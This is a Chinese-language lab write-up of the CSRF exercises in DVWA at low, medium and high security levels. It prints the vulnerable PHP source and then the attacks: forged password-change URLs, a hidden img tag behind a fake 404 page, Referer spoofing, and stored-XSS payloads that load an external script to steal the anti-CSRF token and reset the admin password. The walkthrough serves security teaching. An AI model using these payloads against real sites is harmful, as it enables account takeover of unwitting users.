CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。
LOW
源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
解析
$GLOBALS --引用全局作用域中可用的全部变量
mysqli_real_escape_string() --转义在 SQL 语句中使用的字符串中的特殊字符
判断用户输入的
'password_new'
与
'password_conf'
是否相同,如果不相同,报出
Passwords did not match.
。如果相同,查找数据库中有没有和
pass_new
相同的对象,没有的话报错,有的话,使用
mysqli_real_escape_string()
对特殊字符转义,再用md5进行加密,最后更新数据库
构造链接
输入两次不一样的密码,查看URL
接着将密码改成希望设置的密码
http://10.12.202.9/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#
打开一个新的dvwa页面,在url中粘贴构建的url,直接跳转到修改密码成功的页面了。
原先的用户名为admin,密码是password。logout一下,再使用原先的密码已经不行了,攻击成功。
短链接
由于长链接意图过于明显,可以使用网上在线短链接生成器换成短链接。
同样可以跳转
构造网页
上述两种方法都会跳转到密码更改成功的界面,不隐蔽,使用如下html编写一个网页
<img src="http://10.12.202.9/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
当用户访问该页面时,会以为页面不存在,实际上我们已经更改了他的密码
Medium
源代码
CSRF Source
vulnerabilities/csrf/source/medium.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
解析
stripos()
函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
HTTP Referer
是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
SERVER_NAME
是要访问的主机名
过滤规则为http包头的Referer参数的值中是否包含主机名
抓包
首先正常访问修改密码的网址,更改密码,上传进行抓包
可以看到有一栏Referer,就是该页面的url
接着使用此前构造的网页尝试
会发现没有这一行
我们在此报文上加入这一行
可以看到密码成功更改
High(有点问题)
源代码
CSRF Source
vulnerabilities/csrf/source/high.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
解析
在这里插入代码片
方法一
目标网站:10.12.202.25 本地网站:http://192.168.1.15
WEB根建立一个x.js脚本文件
ifr = document.createElement('iframe');
ifr.src="../csrf";
ifr.hidden=1;
document.body.appendChild(ifr);
setTimeout(function(){f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;},4000)
设置浏览器代理为经过burpsuite访问
进入dvwa,设置level 为high,进入XSS (Stored)页面,并打开拦截
在页面上随意输入,提交
将报文传到repeater
更改name并提交,执行四次,代码如下:
<svg/onload="setTimeout(function(){b='ipt';a='scr';s=a %2B b},3000)">
<svg/onload="setTimeout(function(){j=document.createElement(s)},4000)">
<svg/onload="setTimeout(function(){j.src='http://http://192.168.1.15/x.js'},5000)">
<svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">
四次注入完,页面应呈现状态
**1)**可以通过xss(stored)的url登录
http://10.12.202.25/dvwa/vulnerabilities/xss_s/
**2)**登录快捷方式(或某个网站),该网站页面引用了dvwa的XSS(Stored)页面,使管理员进入XSS(Stored)页面。
详见xss手动版
**3)**在自己的站点建立一个1.html文件,内容
<script>
aa=window.open("http://10.12.202.25/dvwa/vulnerabilities/xss_s/","","fullscreen=1","alwaysLowered=1","titlebar=no","toolbar=no","menubar=no","scrollbars=no", "location=no", "status=no","depended=yes");
aa.blur();
self.focus();
aa.resizeTo(10,10);
aa.moveTo(screen.availWidth,screen.availHeight);
</script>
<h1>404<h1>
<h2>file not found.<h2>
让管理员浏览这个站点上的xxx.html文件。浏览该文件会打开一个窗口访问XSS(Stored)页面。
将这段代码存入存储型xss
方法二
user_token在一个input函数下
我们需要拿到隐藏的input函数的value,再放到伪造的请求中,就可以实现攻击了。
利用抓包将name改为
test.js如下:
var xhr=new XMLHttpRequest();
xhr.open('get','../csrf');
xhr.send();
var res="";
var token="";
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
res = xhr.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = res.match(regex);
token=match[1]
var xhr_new=new XMLHttpRequest();
var new_url='../csrf/?password_new=456&password_conf=456&Change=Change&user_token='+token;
xhr_new.open('get',new_url)
xhr_new.send()
}
};
接着希望用户能够转到存储型xss页面